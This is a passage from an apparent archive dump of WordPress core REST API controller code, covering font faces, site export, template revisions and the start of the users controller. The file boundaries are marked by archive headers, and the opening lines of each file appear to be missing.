) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'font_family_id' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'required' => true, ), 'id' => array( 'description' => __( 'Unique identifier for the font face.' ), 'type' => 'integer', 'required' => true, ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.', 'default' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to font faces. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); if ( ! current_user_can( $post_type->cap->read ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font faces.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to a font face. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( ! current_user_can( 'read_post', $post->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access this font face.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Validates settings when creating a font face. * * @since 6.5.0 * * @param string $value Encoded JSON string of font face settings. * @param WP_REST_Request $request Request object. * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object. */ public function validate_create_font_face_settings( $value, $request ) { $settings = json_decode( $value, true ); // Check settings string is valid JSON. if ( null === $settings ) { return new WP_Error( 'rest_invalid_param', __( 'font_face_settings parameter must be a valid JSON string.' ), array( 'status' => 400 ) ); } // Check that the font face settings match the theme.json schema. $schema = $this->get_item_schema()['properties']['font_face_settings']; $has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_face_settings' ); if ( is_wp_error( $has_valid_settings ) ) { $has_valid_settings->add_data( array( 'status' => 400 ) ); return $has_valid_settings; } // Check that none of the required settings are empty values. $required = $schema['required']; foreach ( $required as $key ) { if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of the missing font face settings parameter, e.g. "font_face_settings[src]". */ sprintf( __( '%s cannot be empty.' ), "font_face_setting[ $key ]" ), array( 'status' => 400 ) ); } } $srcs = is_array( $settings['src'] ) ? $settings['src'] : array( $settings['src'] ); $files = $request->get_file_params(); foreach ( $srcs as $src ) { // Check that each src is a non-empty string. $src = ltrim( $src ); if ( empty( $src ) ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Font face source parameter name: "font_face_settings[src]". */ sprintf( __( '%s values must be non-empty strings.' ), 'font_face_settings[src]' ), array( 'status' => 400 ) ); } // Check that srcs are valid URLs or file references. if ( false === wp_http_validate_url( $src ) && ! isset( $files[ $src ] ) ) { return new WP_Error( 'rest_invalid_param', /* translators: 1: Font face source parameter name: "font_face_settings[src]", 2: The invalid src value. */ sprintf( __( '%1$s value "%2$s" must be a valid URL or file reference.' ), 'font_face_settings[src]', $src ), array( 'status' => 400 ) ); } } // Check that each file in the request references a src in the settings. foreach ( array_keys( $files ) as $file ) { if ( ! in_array( $file, $srcs, true ) ) { return new WP_Error( 'rest_invalid_param', /* translators: 1: File key (e.g. "file-0") in the request data, 2: Font face source parameter name: "font_face_settings[src]". */ sprintf( __( 'File %1$s must be used in %2$s.' ), $file, 'font_face_settings[src]' ), array( 'status' => 400 ) ); } } return true; } /** * Sanitizes the font face settings when creating a font face. * * @since 6.5.0 * * @param string $value Encoded JSON string of font face settings. * @return array Decoded and sanitized array of font face settings. */ public function sanitize_font_face_settings( $value ) { // Settings arrive as stringified JSON, since this is a multipart/form-data request. $settings = json_decode( $value, true ); $schema = $this->get_item_schema()['properties']['font_face_settings']['properties']; // Sanitize settings based on callbacks in the schema. foreach ( $settings as $key => $value ) { $sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback']; $settings[ $key ] = call_user_func( $sanitize_callback, $value ); } return $settings; } /** * Retrieves a collection of font faces within the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } return parent::get_items( $request ); } /** * Retrieves a single font face within the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } // Check that the font face has a valid parent font family. $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } if ( (int) $font_family->ID !== (int) $post->post_parent ) { return new WP_Error( 'rest_font_face_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ), array( 'status' => 404 ) ); } return parent::get_item( $request ); } /** * Creates a font face for the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } // Settings have already been decoded by ::sanitize_font_face_settings(). $settings = $request->get_param( 'font_face_settings' ); $file_params = $request->get_file_params(); // Check that the necessary font face properties are unique. $query = new WP_Query( array( 'post_type' => $this->post_type, 'posts_per_page' => 1, 'title' => WP_Font_Utils::get_font_face_slug( $settings ), 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $query->posts ) ) { return new WP_Error( 'rest_duplicate_font_face', __( 'A font face matching those settings already exists.' ), array( 'status' => 400 ) ); } // Move the uploaded font asset from the temp folder to the fonts directory. if ( ! function_exists( 'wp_handle_upload' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } $srcs = is_string( $settings['src'] ) ? array( $settings['src'] ) : $settings['src']; $processed_srcs = array(); $font_file_meta = array(); foreach ( $srcs as $src ) { // If src not a file reference, use it as is. if ( ! isset( $file_params[ $src ] ) ) { $processed_srcs[] = $src; continue; } $file = $file_params[ $src ]; $font_file = $this->handle_font_file_upload( $file ); if ( is_wp_error( $font_file ) ) { return $font_file; } $processed_srcs[] = $font_file['url']; $font_file_meta[] = $this->relative_fonts_path( $font_file['file'] ); } // Store the updated settings for prepare_item_for_database to use. $settings['src'] = count( $processed_srcs ) === 1 ? $processed_srcs[0] : $processed_srcs; $request->set_param( 'font_face_settings', $settings ); // Ensure that $settings data is slashed, so values with quotes are escaped. // WP_REST_Posts_Controller::create_item uses wp_slash() on the post_content. $font_face_post = parent::create_item( $request ); if ( is_wp_error( $font_face_post ) ) { return $font_face_post; } $font_face_id = $font_face_post->data['id']; foreach ( $font_file_meta as $font_file_path ) { add_post_meta( $font_face_id, '_wp_font_face_file', $font_file_path ); } return $font_face_post; } /** * Deletes a single font face. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } if ( (int) $font_family->ID !== (int) $post->post_parent ) { return new WP_Error( 'rest_font_face_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ), array( 'status' => 404 ) ); } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for font faces. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ), array( 'status' => 501 ) ); } return parent::delete_item( $request ); } /** * Prepares a single font face output for response. * * @since 6.5.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $item->ID; } if ( rest_is_field_included( 'theme_json_version', $fields ) ) { $data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED; } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = $item->post_parent; } if ( rest_is_field_included( 'font_face_settings', $fields ) ) { $data['font_face_settings'] = $this->get_settings_from_post( $item ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } /** * Filters the font face data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Font face post object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_wp_font_face', $response, $item, $request ); } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.', 'default' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'theme_json_version' => array( 'description' => __( 'Version of the theme.json schema used for the typography settings.' ), 'type' => 'integer', 'default' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'minimum' => 2, 'maximum' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'context' => array( 'view', 'edit', 'embed' ), ), 'parent' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), // Font face settings come directly from theme.json schema // See https://schemas.wp.org/trunk/theme.json 'font_face_settings' => array( 'description' => __( 'font-face declaration in theme.json format.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'fontFamily' => array( 'description' => __( 'CSS font-family value.' ), 'type' => 'string', 'default' => '', 'arg_options' => array( 'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ), ), ), 'fontStyle' => array( 'description' => __( 'CSS font-style value.' ), 'type' => 'string', 'default' => 'normal', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontWeight' => array( 'description' => __( 'List of available font weights, separated by a space.' ), 'default' => '400', // Changed from `oneOf` to avoid errors from loose type checking. // e.g. a fontWeight of "400" validates as both a string and an integer due to is_numeric check. 'type' => array( 'string', 'integer' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontDisplay' => array( 'description' => __( 'CSS font-display value.' ), 'type' => 'string', 'default' => 'fallback', 'enum' => array( 'auto', 'block', 'fallback', 'swap', 'optional', ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'src' => array( 'description' => __( 'Paths or URLs to the font files.' ), // Changed from `oneOf` to `anyOf` due to rest_sanitize_array converting a string into an array, // and causing a "matches more than one of the expected formats" error. 'anyOf' => array( array( 'type' => 'string', ), array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), ), 'default' => array(), 'arg_options' => array( 'sanitize_callback' => function ( $value ) { return is_array( $value ) ? array_map( array( $this, 'sanitize_src' ), $value ) : $this->sanitize_src( $value ); }, ), ), 'fontStretch' => array( 'description' => __( 'CSS font-stretch value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'ascentOverride' => array( 'description' => __( 'CSS ascent-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'descentOverride' => array( 'description' => __( 'CSS descent-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontVariant' => array( 'description' => __( 'CSS font-variant value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontFeatureSettings' => array( 'description' => __( 'CSS font-feature-settings value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'fontVariationSettings' => array( 'description' => __( 'CSS font-variation-settings value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'lineGapOverride' => array( 'description' => __( 'CSS line-gap-override value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'sizeAdjust' => array( 'description' => __( 'CSS size-adjust value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'unicodeRange' => array( 'description' => __( 'CSS unicode-range value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'preview' => array( 'description' => __( 'URL to a preview image of the font face.' ), 'type' => 'string', 'format' => 'uri', 'default' => '', 'arg_options' => array( 'sanitize_callback' => 'sanitize_url', ), ), ), 'required' => array( 'fontFamily', 'src' ), 'additionalProperties' => false, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 6.5.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = parent::get_public_item_schema(); // Also remove `arg_options' from child font_family_settings properties, since the parent // controller only handles the top level properties. foreach ( $schema['properties']['font_face_settings']['properties'] as &$property ) { unset( $property['arg_options'] ); } return $schema; } /** * Retrieves the query params for the font face collection. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); // Remove unneeded params. unset( $query_params['after'], $query_params['modified_after'], $query_params['before'], $query_params['modified_before'], $query_params['search'], $query_params['search_columns'], $query_params['slug'], $query_params['status'] ); $query_params['orderby']['default'] = 'id'; $query_params['orderby']['enum'] = array( 'id', 'include' ); /** * Filters collection parameters for the font face controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_wp_font_face_collection_params', $query_params ); } /** * Get the params used when creating a new font face. * * @since 6.5.0 * * @return array Font face create arguments. */ public function get_create_params() { $properties = $this->get_item_schema()['properties']; return array( 'theme_json_version' => $properties['theme_json_version'], // When creating, font_face_settings is stringified JSON, to work with multipart/form-data used // when uploading font files. 'font_face_settings' => array( 'description' => __( 'font-face declaration in theme.json format, encoded as a string.' ), 'type' => 'string', 'required' => true, 'validate_callback' => array( $this, 'validate_create_font_face_settings' ), 'sanitize_callback' => array( $this, 'sanitize_font_face_settings' ), ), ); } /** * Get the parent font family, if the ID is valid. * * @since 6.5.0 * * @param int $font_family_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent_font_family_post( $font_family_id ) { $error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.', 'default' ), array( 'status' => 404 ) ); if ( (int) $font_family_id <= 0 ) { return $error; } $font_family_post = get_post( (int) $font_family_id ); if ( empty( $font_family_post ) || empty( $font_family_post->ID ) || 'wp_font_family' !== $font_family_post->post_type ) { return $error; } return $font_family_post; } /** * Prepares links for the request. * * @since 6.5.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. return array( 'self' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces/' . $post->ID ), ), 'collection' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces' ), ), 'parent' => array( 'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent ), ), ); } /** * Prepares a single font face post for creation. * * @since 6.5.0 * * @param WP_REST_Request $request Request object. * @return stdClass Post object. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); // Settings have already been decoded by ::sanitize_font_face_settings(). $settings = $request->get_param( 'font_face_settings' ); // Store this "slug" as the post_title rather than post_name, since it uses the fontFamily setting, // which may contain multibyte characters. $title = WP_Font_Utils::get_font_face_slug( $settings ); $prepared_post->post_type = $this->post_type; $prepared_post->post_parent = $request['font_family_id']; $prepared_post->post_status = 'publish'; $prepared_post->post_title = $title; $prepared_post->post_name = sanitize_title( $title ); $prepared_post->post_content = wp_json_encode( $settings ); return $prepared_post; } /** * Sanitizes a single src value for a font face. * * @since 6.5.0 * * @param string $value Font face src that is a URL or the key for a $_FILES array item. * @return string Sanitized value. */ protected function sanitize_src( $value ) { $value = ltrim( $value ); return false === wp_http_validate_url( $value ) ? (string) $value : sanitize_url( $value ); } /** * Handles the upload of a font file using wp_handle_upload(). * * @since 6.5.0 * * @param array $file Single file item from $_FILES. * @return array|WP_Error Array containing uploaded file attributes on success, or WP_Error object on failure. */ protected function handle_font_file_upload( $file ) { add_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) ); // Filter the upload directory to return the fonts directory. add_filter( 'upload_dir', '_wp_filter_font_directory' ); $overrides = array( 'upload_error_handler' => array( $this, 'handle_font_file_upload_error' ), // Not testing a form submission. 'test_form' => false, // Only allow uploading font files for this request. 'mimes' => WP_Font_Utils::get_allowed_font_mime_types(), ); // Bypasses is_uploaded_file() when running unit tests. if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) { $overrides['action'] = 'wp_handle_mock_upload'; } $uploaded_file = wp_handle_upload( $file, $overrides ); remove_filter( 'upload_dir', '_wp_filter_font_directory' ); remove_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) ); return $uploaded_file; } /** * Handles file upload error. * * @since 6.5.0 * * @param array $file File upload data. * @param string $message Error message from wp_handle_upload(). * @return WP_Error WP_Error object. */ public function handle_font_file_upload_error( $file, $message ) { $status = 500; $code = 'rest_font_upload_unknown_error'; if ( __( 'Sorry, you are not allowed to upload this file type.' ) === $message ) { $status = 400; $code = 'rest_font_upload_invalid_file_type'; } return new WP_Error( $code, $message, array( 'status' => $status ) ); } /** * Returns relative path to an uploaded font file. * * The path is relative to the current fonts directory. * * @since 6.5.0 * @access private * * @param string $path Full path to the file. * @return string Relative path on success, unchanged path on failure. */ protected function relative_fonts_path( $path ) { $new_path = $path; $fonts_dir = wp_get_font_dir(); if ( str_starts_with( $new_path, $fonts_dir['basedir'] ) ) { $new_path = str_replace( $fonts_dir['basedir'], '', $new_path ); $new_path = ltrim( $new_path, '/' ); } return $new_path; } /** * Gets the font face's settings from the post. * * @since 6.5.0 * * @param WP_Post $post Font face post object. * @return array Font face settings array. */ protected function get_settings_from_post( $post ) { $settings = json_decode( $post->post_content, true ); $properties = $this->get_item_schema()['properties']['font_face_settings']['properties']; // Provide required, empty settings if needed. if ( null === $settings ) { $settings = array( 'fontFamily' => '', 'src' => array(), ); } // Only return the properties defined in the schema. return array_intersect_key( $settings, $properties ); } } rest-api/endpoints/class-wp-rest-edit-site-export-controller.php000064400000004112147177035020021101 0ustar00namespace = 'wp-block-editor/v1'; $this->rest_base = 'export'; } /** * Registers the site export route. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'export' ), 'permission_callback' => array( $this, 'permissions_check' ), ), ) ); } /** * Checks whether a given request has permission to export. * * @since 5.9.0 * * @return WP_Error|true True if the request has access, or WP_Error object. */ public function permissions_check() { if ( current_user_can( 'edit_theme_options' ) ) { return true; } return new WP_Error( 'rest_cannot_export_templates', __( 'Sorry, you are not allowed to export templates and template parts.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Output a ZIP file with an export of the current templates * and template parts from the site editor, and close the connection. * * @since 5.9.0 * * @return WP_Error|void */ public function export() { // Generate the export file. $filename = wp_generate_block_templates_export_file(); if ( is_wp_error( $filename ) ) { $filename->add_data( array( 'status' => 500 ) ); return $filename; } $theme_name = basename( get_stylesheet() ); header( 'Content-Type: application/zip' ); header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' ); header( 'Content-Length: ' . filesize( $filename ) ); flush(); readfile( $filename ); unlink( $filename ); exit; } } rest-api/endpoints/class-wp-rest-template-revisions-controller.php000064400000020154147177035020021531 0ustar00parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Templates_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for revisions based on post types supporting revisions. * * @since 6.4.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base, '(?P[\d]+)' ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as revisions do not support trashing.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Gets the parent post, if the template ID is valid. * * @since 6.4.0 * * @param string $parent_template_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_template_id ) { $template = get_block_template( $parent_template_id, $this->parent_post_type ); if ( ! $template ) { return new WP_Error( 'rest_post_invalid_parent', __( 'Invalid template parent ID.' ), array( 'status' => 404 ) ); } return get_post( $template->wp_id ); } /** * Prepares the item for the REST response. * * @since 6.4.0 * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $template = _build_block_template_result_from_post( $item ); $response = $this->parent_controller->prepare_item_for_response( $template, $request ); $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->post_parent; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template ); $response->add_links( $links ); } return $response; } /** * Checks if a given request has access to delete a revision. * * @since 6.4.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'delete_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this revision.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares links for the request. * * @since 6.4.0 * * @param WP_Block_Template $template Template. * @return array Links for the given post. */ protected function prepare_links( $template ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ), ), 'parent' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ), ), ); return $links; } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 6.4.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = $this->parent_controller->get_item_schema(); $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } rest-api/endpoints/class-wp-rest-users-controller.php000064400000134277147177035020017054 0ustar00namespace = 'wp/v2'; $this->rest_base = 'users'; $this->meta = new WP_REST_User_Meta_Fields(); } /** * Registers the routes for users. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the user.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as users do not support trashing.' ), ), 'reassign' => array( 'type' => 'integer', 'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ), 'required' => true, 'sanitize_callback' => array( $this, 'check_reassign' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/me', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => '__return_true', 'callback' => array( $this, 'get_current_item' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_current_item' ), 'permission_callback' => array( $this, 'update_current_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_current_item' ), 'permission_callback' => array( $this, 'delete_current_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as users do not support trashing.' ), ), 'reassign' => array( 'type' => 'integer', 'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ), 'required' => true, 'sanitize_callback' => array( $this, 'check_reassign' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks for a valid value for the reassign parameter when deleting users. * * The value can be an integer, 'false', false, or ''. * * @since 4.7.0 * * @param int|bool $value The value passed to the reassign parameter. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter that is being sanitized. * @return int|bool|WP_Error */ public function check_reassign( $value, $request, $param ) { if ( is_numeric( $value ) ) { return $value; } if ( empty( $value ) || false === $value || 'false' === $value ) { return false; } return new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) ); } /** * Permissions check for getting all users. * * @since 4.7.0 * * @param 